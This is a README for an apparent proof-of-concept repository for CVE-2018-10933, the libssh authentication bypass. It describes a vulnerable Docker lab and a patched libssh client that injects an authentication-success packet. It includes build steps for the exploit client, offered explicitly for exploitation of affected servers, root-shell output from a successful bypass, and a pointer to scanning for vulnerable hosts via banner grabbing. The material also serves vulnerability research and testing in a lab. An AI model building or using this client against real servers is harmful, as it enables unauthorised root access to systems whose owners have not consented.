cve-2018-10933 libssh authentication bypass
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CVE-2018-10933 libssh authentication bypass, a vulnerable Docker container that listens on port 2222 for exploitation. A basic proof-of-concept libssh patch included in the container to bypass auth. To login use the default "myuser" / "mypassword" from libssh. A patch is applied to a copy of libssh in the Docker container which injects a SSH2_MSG_USERAUTH_SUCCESS packet during any authentication (keyboard-interactive / pubkey / gss-api etc.) attempt and sets the client side state to proceed. The included server has been patched from example code to allow exploitation to succeed.

ssh -l myuser -p 2222 localhost

A patched exploit-libssh-0.8.3 and vulnerable sshd are available in the container for testing purposes. The "ssh-client" will successfully bypass authentication but is unable to spawn a shell against the default example server due to additional authentication checks in the server code.

[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root
The server is unknown. Do you trust the host key (yes/no)?
This new key will be written on disk for further usage. do you agree ?
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]# 

From the advisory "malicious client could create channels without first performing authentication, resulting in unauthorized access."

The following libssh debug output shows authentication has succeeded on the server and a session channel has been created. The host is now authenticated but additional server side checks prevent commands being executed. An attacker could still attempt to tunnel/proxy connections through the service.

[2018/10/19 01:26:24.929187, 3] ssh_packet_process:  Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success:  Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback:  packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process:  Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open:  Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel:  Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write:  Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2:  packet: wrote [len=28,padding=10,comp=17,payload=17]

Attempts to launch shells / exec or pty result in a successful session but errors on the example server due to an additional checks on the user authentication state. The following errors are shown on the example server.

[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request:  Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default:  Sending a default channel_request denied to channel 0

It is still possible for bespoke libssh servers to potentially result in arbitrary code execution but the majority may only allow tunneling or some misuse of SSH protocol. By removing the additional authentication check the server is now vulnerable to the authentication bypass exploit. It is possible for a server side libssh implementation to introduce this vulnerability. Example of a successful exploitation using patched libssh below.

[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root
The server is unknown. Do you trust the host key (yes/no)?
This new key will be written on disk for further usage. do you agree ?
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)

The Docker container will run the vulnerable "ssh_server_fork" example by default, the original can be found in "libssh-0.8.3" directory for testing/debugging purposes.

Impacted Vendors

The following vendors appear to be practically impacted by this flaw due to their use of libssh.

libssh is installed locally on a number of *BSD & Linux distributions as is used by ffmpeg (?), hydra and a small number of FOSS packages.


You can build a patched libssh client from this repo for exploitation use.

git clone
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..

You can then use "ssh-client" and any examples to bypass authentication on affected libssh server implementations.

$ ./ssh-client -l root -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)


Scanning for potentially vulnerable hosts can be performed simply by doing regular banner grabbing on affected SSH ports (e.g. nmap).



The original advisory is in CVE-2018-10933.txt, vulnerability found by Peter Winter Smith. Vulnerable Docker and libssh exploit patch released by Hacker House (